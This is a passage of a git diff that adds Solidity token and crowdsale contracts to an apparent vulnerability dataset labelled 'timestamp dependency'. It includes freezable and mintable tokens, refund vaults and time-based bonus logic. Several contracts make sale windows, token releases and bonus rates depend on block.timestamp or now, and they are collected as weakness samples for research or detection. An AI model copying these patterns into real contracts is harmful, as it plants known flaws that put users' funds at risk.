constructor ( + uint256 initialSupply, + string contractName, + string tokenSymbol, + uint256 contractHoldTime, + address contractOwner + + ) public { + totalSupply = initialSupply; + name = contractName; + symbol = tokenSymbol; + holdTime = contractHoldTime; + balances[contractOwner] = totalSupply; + + } + + function deposit() external payable onlyOwner returns(bool success) { + contractBalance = contractAddr.balance; + + emit LogDeposit(msg.sender, msg.value); + + return true; + } + + function withdrawReward() external { + uint256 ethAmount = (holdedOf(msg.sender) * contractBalance) / totalSupply; + + require(ethAmount > 0); + + + emit LogWithdrawal(msg.sender, ethAmount); + + delete holded[msg.sender]; + hold(msg.sender,balances[msg.sender]); + + msg.sender.transfer(ethAmount); + } + + function withdraw(uint256 value) external onlyOwner { + + msg.sender.transfer(value); + + emit LogWithdrawal(msg.sender, value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10755.sol b/smart_contract_dataset/timestamp dependency/10755.sol new file mode 100644 index 0000000000000000000000000000000000000000..b621e1429fdb0d15ca08cf8c04f5d2d2e989de01 --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10755.sol @@ -0,0 +1,984 @@ + + +pragma solidity ^0.4.20; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + balances[_to] = balances[_to].add(_amount); + Mint(_to, _amount); + Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + MintFinished(); + return true; + } +} + + + +contract Crowdsale { + using SafeMath for uint256; + + + MintableToken public token; + + + uint256 public startTime; + uint256 public endTime; + + + address public wallet; + + + uint256 public rate; + + + uint256 public weiRaised; + + + event TokenPurchase(address indexed purchaser, address indexed beneficiary, uint256 value, uint256 amount); + + + function Crowdsale(uint256 _startTime, uint256 _endTime, uint256 _rate, address _wallet) public { + require(_startTime >= now); + require(_endTime >= _startTime); + require(_rate > 0); + require(_wallet != address(0)); + + token = createTokenContract(); + startTime = _startTime; + endTime = _endTime; + rate = _rate; + wallet = _wallet; + } + + + + function createTokenContract() internal returns (MintableToken) { + return new MintableToken(); + } + + + + function () external payable { + buyTokens(msg.sender); + } + + + function buyTokens(address beneficiary) public payable { + require(beneficiary != address(0)); + require(validPurchase()); + + uint256 weiAmount = msg.value; + + + uint256 tokens = weiAmount.mul(rate); + + + weiRaised = weiRaised.add(weiAmount); + + token.mint(beneficiary, tokens); + TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); + + forwardFunds(); + } + + + + function forwardFunds() internal { + wallet.transfer(msg.value); + } + + + function validPurchase() internal view returns (bool) { + bool withinPeriod = now >= startTime && now <= endTime; + bool nonZeroPurchase = msg.value != 0; + return withinPeriod && nonZeroPurchase; + } + + + function hasEnded() public view returns (bool) { + return now > endTime; + } + + +} + + + +contract FinalizableCrowdsale is Crowdsale, Ownable { + using SafeMath for uint256; + + bool public isFinalized = false; + + event Finalized(); + + + function finalize() onlyOwner public { + require(!isFinalized); + require(hasEnded()); + + finalization(); + Finalized(); + + isFinalized = true; + } + + + function finalization() internal { + } +} + + + +contract RefundVault is Ownable { + using SafeMath for uint256; + + enum State { Active, Refunding, Closed } + + mapping (address => uint256) public deposited; + address public wallet; + State public state; + + event Closed(); + event RefundsEnabled(); + event Refunded(address indexed beneficiary, uint256 weiAmount); + + function RefundVault(address _wallet) public { + require(_wallet != address(0)); + wallet = _wallet; + state = State.Active; + } + + function deposit(address investor) onlyOwner public payable { + require(state == State.Active); + deposited[investor] = deposited[investor].add(msg.value); + } + + function close() onlyOwner public { + require(state == State.Active); + state = State.Closed; + Closed(); + wallet.transfer(this.balance); + } + + function enableRefunds() onlyOwner public { + require(state == State.Active); + state = State.Refunding; + RefundsEnabled(); + } + + function refund(address investor) public { + require(state == State.Refunding); + uint256 depositedValue = deposited[investor]; + deposited[investor] = 0; + investor.transfer(depositedValue); + Refunded(investor, depositedValue); + } +} + + + +contract FreezableToken is StandardToken { + + mapping (bytes32 => uint64) internal chains; + + mapping (bytes32 => uint) internal freezings; + + mapping (address => uint) internal freezingBalance; + + event Freezed(address indexed to, uint64 release, uint amount); + event Released(address indexed owner, uint amount); + + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner) + freezingBalance[_owner]; + } + + + function actualBalanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner); + } + + function freezingBalanceOf(address _owner) public view returns (uint256 balance) { + return freezingBalance[_owner]; + } + + + function freezingCount(address _addr) public view returns (uint count) { + uint64 release = chains[toKey(_addr, 0)]; + while (release != 0) { + count ++; + release = chains[toKey(_addr, release)]; + } + } + + + function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { + for (uint i = 0; i < _index + 1; i ++) { + _release = chains[toKey(_addr, _release)]; + if (_release == 0) { + return; + } + } + _balance = freezings[toKey(_addr, _release)]; + } + + + function freezeTo(address _to, uint _amount, uint64 _until) public { + require(_to != address(0)); + require(_amount <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Transfer(msg.sender, _to, _amount); + Freezed(_to, _until, _amount); + } + + + function releaseOnce() public { + bytes32 headKey = toKey(msg.sender, 0); + uint64 head = chains[headKey]; + require(head != 0); + require(uint64(block.timestamp) > head); + bytes32 currentKey = toKey(msg.sender, head); + + uint64 next = chains[currentKey]; + + uint amount = freezings[currentKey]; + delete freezings[currentKey]; + + balances[msg.sender] = balances[msg.sender].add(amount); + freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); + + if (next == 0) { + delete chains[headKey]; + } + else { + chains[headKey] = next; + delete chains[currentKey]; + } + Released(msg.sender, amount); + } + + + function releaseAll() public returns (uint tokens) { + uint release; + uint balance; + (release, balance) = getFreezing(msg.sender, 0); + while (release != 0 && block.timestamp > release) { + releaseOnce(); + tokens += balance; + (release, balance) = getFreezing(msg.sender, 0); + } + } + + function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { + + result = 0x5749534800000000000000000000000000000000000000000000000000000000; + assembly { + result := or(result, mul(_addr, 0x10000000000000000)) + result := or(result, _release) + } + } + + function freeze(address _to, uint64 _until) internal { + require(_until > block.timestamp); + bytes32 key = toKey(_to, _until); + bytes32 parentKey = toKey(_to, uint64(0)); + uint64 next = chains[parentKey]; + + if (next == 0) { + chains[parentKey] = _until; + return; + } + + bytes32 nextKey = toKey(_to, next); + uint parent; + + while (next != 0 && _until > next) { + parent = next; + parentKey = nextKey; + + next = chains[nextKey]; + nextKey = toKey(_to, next); + } + + if (_until == next) { + return; + } + + if (next != 0) { + chains[key] = next; + } + + chains[parentKey] = _until; + } +} + + + +contract ERC223Receiver { + + function tokenFallback(address _from, uint _value, bytes _data) public; +} + +contract ERC223Basic is ERC20Basic { + function transfer(address to, uint value, bytes data) public returns (bool); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} + + +contract SuccessfulERC223Receiver is ERC223Receiver { + event Invoked(address from, uint value, bytes data); + + function tokenFallback(address _from, uint _value, bytes _data) public { + Invoked(_from, _value, _data); + } +} + +contract FailingERC223Receiver is ERC223Receiver { + function tokenFallback(address, uint, bytes) public { + revert(); + } +} + +contract ERC223ReceiverWithoutTokenFallback { +} + + +contract BurnableToken is StandardToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + require(_value > 0); + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(burner, _value); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + + + +contract FreezableMintableToken is FreezableToken, MintableToken { + + function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Mint(_to, _amount); + Freezed(_to, _until, _amount); + Transfer(msg.sender, _to, _amount); + return true; + } +} + +contract Consts { + uint constant TOKEN_DECIMALS = 18; + uint8 constant TOKEN_DECIMALS_UINT8 = 18; + uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; + + string constant TOKEN_NAME = "Word of mouth pro"; + string constant TOKEN_SYMBOL = "wmp"; + bool constant PAUSED = true; + address constant TARGET_USER = 0x63DA42f4151F88c7EAAeBb67783D855b4ac8AdD7; + + uint constant START_TIME = 1531087260; + + bool constant CONTINUE_MINTING = false; +} + + + + + +contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { + using SafeMath for uint; + + + function transfer(address _to, uint _value, bytes _data) public returns (bool) { + + + uint codeLength; + + assembly { + + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength > 0) { + ERC223Receiver receiver = ERC223Receiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + bytes memory empty; + return transfer(_to, _value, empty); + } +} + + +contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable + +{ + + + function name() pure public returns (string _name) { + return TOKEN_NAME; + } + + function symbol() pure public returns (string _symbol) { + return TOKEN_SYMBOL; + } + + function decimals() pure public returns (uint8 _decimals) { + return TOKEN_DECIMALS_UINT8; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transferFrom(_from, _to, _value); + } + + function transfer(address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transfer(_to, _value); + } +} + + + + + +contract CappedCrowdsale is Crowdsale { + using SafeMath for uint256; + + uint256 public cap; + + function CappedCrowdsale(uint256 _cap) public { + require(_cap > 0); + cap = _cap; + } + + + + function validPurchase() internal view returns (bool) { + bool withinCap = weiRaised.add(msg.value) <= cap; + return super.validPurchase() && withinCap; + } + + + + function hasEnded() public view returns (bool) { + bool capReached = weiRaised >= cap; + return super.hasEnded() || capReached; + } + +} + + + + +contract RefundableCrowdsale is FinalizableCrowdsale { + using SafeMath for uint256; + + + uint256 public goal; + + + RefundVault public vault; + + function RefundableCrowdsale(uint256 _goal) public { + require(_goal > 0); + vault = new RefundVault(wallet); + goal = _goal; + } + + + + + function forwardFunds() internal { + vault.deposit.value(msg.value)(msg.sender); + } + + + function claimRefund() public { + require(isFinalized); + require(!goalReached()); + + vault.refund(msg.sender); + } + + + function finalization() internal { + if (goalReached()) { + vault.close(); + } else { + vault.enableRefunds(); + } + + super.finalization(); + } + + function goalReached() public view returns (bool) { + return weiRaised >= goal; + } + +} + + +contract MainCrowdsale is Consts, FinalizableCrowdsale { + function hasStarted() public constant returns (bool) { + return now >= startTime; + } + + function finalization() internal { + super.finalization(); + + if (PAUSED) { + MainToken(token).unpause(); + } + + if (!CONTINUE_MINTING) { + token.finishMinting(); + } + + token.transferOwnership(TARGET_USER); + } + + function buyTokens(address beneficiary) public payable { + require(beneficiary != address(0)); + require(validPurchase()); + + uint256 weiAmount = msg.value; + + + uint256 tokens = weiAmount.mul(rate).div(1 ether); + + + weiRaised = weiRaised.add(weiAmount); + + token.mint(beneficiary, tokens); + TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); + + forwardFunds(); + } +} + + +contract Checkable { + address private serviceAccount; + + bool private triggered = false; + + + event Triggered(uint balance); + + event Checked(bool isAccident); + + function Checkable() public { + serviceAccount = msg.sender; + } + + + function changeServiceAccount(address _account) onlyService public { + assert(_account != 0); + serviceAccount = _account; + } + + + function isServiceAccount() view public returns (bool) { + return msg.sender == serviceAccount; + } + + + function check() onlyService notTriggered payable public { + if (internalCheck()) { + Triggered(this.balance); + triggered = true; + internalAction(); + } + } + + + function internalCheck() internal returns (bool); + + + function internalAction() internal; + + modifier onlyService { + require(msg.sender == serviceAccount); + _; + } + + modifier notTriggered() { + require(!triggered); + _; + } +} + + +contract BonusableCrowdsale is Consts, Crowdsale { + + function buyTokens(address beneficiary) public payable { + require(beneficiary != address(0)); + require(validPurchase()); + + uint256 weiAmount = msg.value; + + + uint256 bonusRate = getBonusRate(weiAmount); + uint256 tokens = weiAmount.mul(bonusRate).div(1 ether); + + + weiRaised = weiRaised.add(weiAmount); + + token.mint(beneficiary, tokens); + TokenPurchase(msg.sender, beneficiary, weiAmount, tokens); + + forwardFunds(); + } + + function getBonusRate(uint256 weiAmount) internal view returns (uint256) { + uint256 bonusRate = rate; + + + + uint[4] memory weiRaisedStartsBoundaries = [uint(0),uint(0),uint(0),uint(0)]; + uint[4] memory weiRaisedEndsBoundaries = [uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000),uint(20000000000000000000000)]; + uint64[4] memory timeStartsBoundaries = [uint64(1531087260),uint64(1532383140),uint64(1534197540),uint64(1536011940)]; + uint64[4] memory timeEndsBoundaries = [uint64(1532383140),uint64(1534197540),uint64(1536011940),uint64(1537221540)]; + uint[4] memory weiRaisedAndTimeRates = [uint(400),uint(300),uint(200),uint(100)]; + + for (uint i = 0; i < 4; i++) { + bool weiRaisedInBound = (weiRaisedStartsBoundaries[i] <= weiRaised) && (weiRaised < weiRaisedEndsBoundaries[i]); + bool timeInBound = (timeStartsBoundaries[i] <= now) && (now < timeEndsBoundaries[i]); + if (weiRaisedInBound && timeInBound) { + bonusRate += bonusRate * weiRaisedAndTimeRates[i] / 1000; + } + } + + + + + uint[2] memory weiAmountBoundaries = [uint(20000000000000000000),uint(10000000000000000000)]; + uint[2] memory weiAmountRates = [uint(0),uint(50)]; + + for (uint j = 0; j < 2; j++) { + if (weiAmount >= weiAmountBoundaries[j]) { + bonusRate += bonusRate * weiAmountRates[j] / 1000; + break; + } + } + + + return bonusRate; + } +} + + + +contract TemplateCrowdsale is Consts, MainCrowdsale + + , BonusableCrowdsale + + + , RefundableCrowdsale + + , CappedCrowdsale + +{ + event Initialized(); + bool public initialized = false; + + function TemplateCrowdsale(MintableToken _token) public + Crowdsale(START_TIME > now ? START_TIME : now, 1546297140, 1500 * TOKEN_DECIMAL_MULTIPLIER, 0x8F988d90C96282402b47b01D7EADE079eA6eBe36) + CappedCrowdsale(20000000000000000000000) + + RefundableCrowdsale(1000000000000000000000) + + { + token = _token; + } + + function init() public onlyOwner { + require(!initialized); + initialized = true; + + if (PAUSED) { + MainToken(token).pause(); + } + + + address[4] memory addresses = [address(0x192ff136cd853ab6b9b5097bf017024d7da709c3),address(0xa00be5796cf65147a7494f2f27de08cca6847cbb),address(0xb1c1113f071fa97318074486e27efd8e753f6b54),address(0xbd3e941f88c892118a8fc50ffa8ccd1199e30704)]; + uint[4] memory amounts = [uint(1500000000000000000000000),uint(5000000000000000000000000),uint(10000000000000000000000000),uint(3500000000000000000000000)]; + uint64[4] memory freezes = [uint64(1577746808),uint64(1577746809),uint64(0),uint64(1561845608)]; + + for (uint i = 0; i < addresses.length; i++) { + if (freezes[i] == 0) { + MainToken(token).mint(addresses[i], amounts[i]); + } else { + MainToken(token).mintAndFreeze(addresses[i], amounts[i], freezes[i]); + } + } + + + transferOwnership(TARGET_USER); + + Initialized(); + } + + + function createTokenContract() internal returns (MintableToken) { + return MintableToken(0); + } + + + + + + + +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10758.sol b/smart_contract_dataset/timestamp dependency/10758.sol new file mode 100644 index 0000000000000000000000000000000000000000..a2bd23388af7e0f335a36a17a8ba074f46ec80cc --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10758.sol @@ -0,0 +1,526 @@ + + +pragma solidity ^0.4.20; + + + +contract ERC20Basic { + uint256 public totalSupply; + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + + + + +library SafeMath { + function mul(uint256 a, uint256 b) internal pure returns (uint256) { + if (a == 0) { + return 0; + } + uint256 c = a * b; + assert(c / a == b); + return c; + } + + function div(uint256 a, uint256 b) internal pure returns (uint256) { + + uint256 c = a / b; + + return c; + } + + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + function add(uint256 a, uint256 b) internal pure returns (uint256) { + uint256 c = a + b; + assert(c >= a); + return c; + } +} + + + + +contract BasicToken is ERC20Basic { + using SafeMath for uint256; + + mapping(address => uint256) balances; + + + function transfer(address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[msg.sender]); + + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + Transfer(msg.sender, _to, _value); + return true; + } + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return balances[_owner]; + } + +} + + + + +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) public view returns (uint256); + function transferFrom(address from, address to, uint256 value) public returns (bool); + function approve(address spender, uint256 value) public returns (bool); + event Approval(address indexed owner, address indexed spender, uint256 value); +} + + + + +contract StandardToken is ERC20, BasicToken { + + mapping (address => mapping (address => uint256)) internal allowed; + + + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool) { + require(_to != address(0)); + require(_value <= balances[_from]); + require(_value <= allowed[_from][msg.sender]); + + balances[_from] = balances[_from].sub(_value); + balances[_to] = balances[_to].add(_value); + allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value); + Transfer(_from, _to, _value); + return true; + } + + + function approve(address _spender, uint256 _value) public returns (bool) { + allowed[msg.sender][_spender] = _value; + Approval(msg.sender, _spender, _value); + return true; + } + + + function allowance(address _owner, address _spender) public view returns (uint256) { + return allowed[_owner][_spender]; + } + + + function increaseApproval(address _spender, uint _addedValue) public returns (bool) { + allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue); + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + + function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) { + uint oldValue = allowed[msg.sender][_spender]; + if (_subtractedValue > oldValue) { + allowed[msg.sender][_spender] = 0; + } else { + allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue); + } + Approval(msg.sender, _spender, allowed[msg.sender][_spender]); + return true; + } + +} + + + + +contract Ownable { + address public owner; + + + event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); + + + + function Ownable() public { + owner = msg.sender; + } + + + + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + + + function transferOwnership(address newOwner) public onlyOwner { + require(newOwner != address(0)); + OwnershipTransferred(owner, newOwner); + owner = newOwner; + } + +} + + + + + +contract MintableToken is StandardToken, Ownable { + event Mint(address indexed to, uint256 amount); + event MintFinished(); + + bool public mintingFinished = false; + + + modifier canMint() { + require(!mintingFinished); + _; + } + + + function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + balances[_to] = balances[_to].add(_amount); + Mint(_to, _amount); + Transfer(address(0), _to, _amount); + return true; + } + + + function finishMinting() onlyOwner canMint public returns (bool) { + mintingFinished = true; + MintFinished(); + return true; + } +} + + + +contract FreezableToken is StandardToken { + + mapping (bytes32 => uint64) internal chains; + + mapping (bytes32 => uint) internal freezings; + + mapping (address => uint) internal freezingBalance; + + event Freezed(address indexed to, uint64 release, uint amount); + event Released(address indexed owner, uint amount); + + + + function balanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner) + freezingBalance[_owner]; + } + + + function actualBalanceOf(address _owner) public view returns (uint256 balance) { + return super.balanceOf(_owner); + } + + function freezingBalanceOf(address _owner) public view returns (uint256 balance) { + return freezingBalance[_owner]; + } + + + function freezingCount(address _addr) public view returns (uint count) { + uint64 release = chains[toKey(_addr, 0)]; + while (release != 0) { + count ++; + release = chains[toKey(_addr, release)]; + } + } + + + function getFreezing(address _addr, uint _index) public view returns (uint64 _release, uint _balance) { + for (uint i = 0; i < _index + 1; i ++) { + _release = chains[toKey(_addr, _release)]; + if (_release == 0) { + return; + } + } + _balance = freezings[toKey(_addr, _release)]; + } + + + function freezeTo(address _to, uint _amount, uint64 _until) public { + require(_to != address(0)); + require(_amount <= balances[msg.sender]); + + balances[msg.sender] = balances[msg.sender].sub(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Transfer(msg.sender, _to, _amount); + Freezed(_to, _until, _amount); + } + + + function releaseOnce() public { + bytes32 headKey = toKey(msg.sender, 0); + uint64 head = chains[headKey]; + require(head != 0); + require(uint64(block.timestamp) > head); + bytes32 currentKey = toKey(msg.sender, head); + + uint64 next = chains[currentKey]; + + uint amount = freezings[currentKey]; + delete freezings[currentKey]; + + balances[msg.sender] = balances[msg.sender].add(amount); + freezingBalance[msg.sender] = freezingBalance[msg.sender].sub(amount); + + if (next == 0) { + delete chains[headKey]; + } + else { + chains[headKey] = next; + delete chains[currentKey]; + } + Released(msg.sender, amount); + } + + + function releaseAll() public returns (uint tokens) { + uint release; + uint balance; + (release, balance) = getFreezing(msg.sender, 0); + while (release != 0 && block.timestamp > release) { + releaseOnce(); + tokens += balance; + (release, balance) = getFreezing(msg.sender, 0); + } + } + + function toKey(address _addr, uint _release) internal pure returns (bytes32 result) { + + result = 0x5749534800000000000000000000000000000000000000000000000000000000; + assembly { + result := or(result, mul(_addr, 0x10000000000000000)) + result := or(result, _release) + } + } + + function freeze(address _to, uint64 _until) internal { + require(_until > block.timestamp); + bytes32 key = toKey(_to, _until); + bytes32 parentKey = toKey(_to, uint64(0)); + uint64 next = chains[parentKey]; + + if (next == 0) { + chains[parentKey] = _until; + return; + } + + bytes32 nextKey = toKey(_to, next); + uint parent; + + while (next != 0 && _until > next) { + parent = next; + parentKey = nextKey; + + next = chains[nextKey]; + nextKey = toKey(_to, next); + } + + if (_until == next) { + return; + } + + if (next != 0) { + chains[key] = next; + } + + chains[parentKey] = _until; + } +} + + + +contract ERC223Receiver { + + function tokenFallback(address _from, uint _value, bytes _data) public; +} + +contract ERC223Basic is ERC20Basic { + function transfer(address to, uint value, bytes data) public returns (bool); + event Transfer(address indexed from, address indexed to, uint value, bytes data); +} + + +contract SuccessfulERC223Receiver is ERC223Receiver { + event Invoked(address from, uint value, bytes data); + + function tokenFallback(address _from, uint _value, bytes _data) public { + Invoked(_from, _value, _data); + } +} + +contract FailingERC223Receiver is ERC223Receiver { + function tokenFallback(address, uint, bytes) public { + revert(); + } +} + +contract ERC223ReceiverWithoutTokenFallback { +} + + +contract BurnableToken is StandardToken { + + event Burn(address indexed burner, uint256 value); + + + function burn(uint256 _value) public { + require(_value > 0); + require(_value <= balances[msg.sender]); + + + + address burner = msg.sender; + balances[burner] = balances[burner].sub(_value); + totalSupply = totalSupply.sub(_value); + Burn(burner, _value); + } +} + + + + +contract Pausable is Ownable { + event Pause(); + event Unpause(); + + bool public paused = false; + + + + modifier whenNotPaused() { + require(!paused); + _; + } + + + modifier whenPaused() { + require(paused); + _; + } + + + function pause() onlyOwner whenNotPaused public { + paused = true; + Pause(); + } + + + function unpause() onlyOwner whenPaused public { + paused = false; + Unpause(); + } +} + + + +contract FreezableMintableToken is FreezableToken, MintableToken { + + function mintAndFreeze(address _to, uint _amount, uint64 _until) onlyOwner canMint public returns (bool) { + totalSupply = totalSupply.add(_amount); + + bytes32 currentKey = toKey(_to, _until); + freezings[currentKey] = freezings[currentKey].add(_amount); + freezingBalance[_to] = freezingBalance[_to].add(_amount); + + freeze(_to, _until); + Mint(_to, _amount); + Freezed(_to, _until, _amount); + Transfer(msg.sender, _to, _amount); + return true; + } +} + +contract Consts { + uint constant TOKEN_DECIMALS = 18; + uint8 constant TOKEN_DECIMALS_UINT8 = 18; + uint constant TOKEN_DECIMAL_MULTIPLIER = 10 ** TOKEN_DECIMALS; + + string constant TOKEN_NAME = "Word of mouth pro"; + string constant TOKEN_SYMBOL = "wmp"; + bool constant PAUSED = true; + address constant TARGET_USER = 0x63DA42f4151F88c7EAAeBb67783D855b4ac8AdD7; + + uint constant START_TIME = 1531087260; + + bool constant CONTINUE_MINTING = false; +} + + + + + +contract ERC223Token is ERC223Basic, BasicToken, FailingERC223Receiver { + using SafeMath for uint; + + + function transfer(address _to, uint _value, bytes _data) public returns (bool) { + + + uint codeLength; + + assembly { + + codeLength := extcodesize(_to) + } + + balances[msg.sender] = balances[msg.sender].sub(_value); + balances[_to] = balances[_to].add(_value); + if(codeLength > 0) { + ERC223Receiver receiver = ERC223Receiver(_to); + receiver.tokenFallback(msg.sender, _value, _data); + } + Transfer(msg.sender, _to, _value, _data); + return true; + } + + + function transfer(address _to, uint256 _value) public returns (bool) { + bytes memory empty; + return transfer(_to, _value, empty); + } +} + + +contract MainToken is Consts, FreezableMintableToken, BurnableToken, Pausable + +{ + + + function name() pure public returns (string _name) { + return TOKEN_NAME; + } + + function symbol() pure public returns (string _symbol) { + return TOKEN_SYMBOL; + } + + function decimals() pure public returns (uint8 _decimals) { + return TOKEN_DECIMALS_UINT8; + } + + function transferFrom(address _from, address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transferFrom(_from, _to, _value); + } + + function transfer(address _to, uint256 _value) public returns (bool _success) { + require(!paused); + return super.transfer(_to, _value); + } +} \ No newline at end of file diff --git a/smart_contract_dataset/timestamp dependency/10763.sol b/smart_contract_dataset/timestamp dependency/10763.sol new file mode 100644 index 0000000000000000000000000000000000000000..ab930c0088dc51ef4631ea077941e4f6faf9aded --- /dev/null +++ b/smart_contract_dataset/timestamp dependency/10763.sol @@ -0,0 +1,457 @@ +pragma solidity ^0.4.21; + +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} +library DateTime { + + struct MyDateTime { + uint16 year; + uint8 month; + uint8 day; + uint8 hour; + uint8 minute; + uint8 second; + uint8 weekday; + } + uint constant DAY_IN_SECONDS = 86400; + uint constant YEAR_IN_SECONDS = 31536000; + uint constant LEAP_YEAR_IN_SECONDS = 31622400; + uint constant HOUR_IN_SECONDS = 3600; + uint constant MINUTE_IN_SECONDS = 60; + uint16 constant ORIGIN_YEAR = 1970; + function isLeapYear(uint16 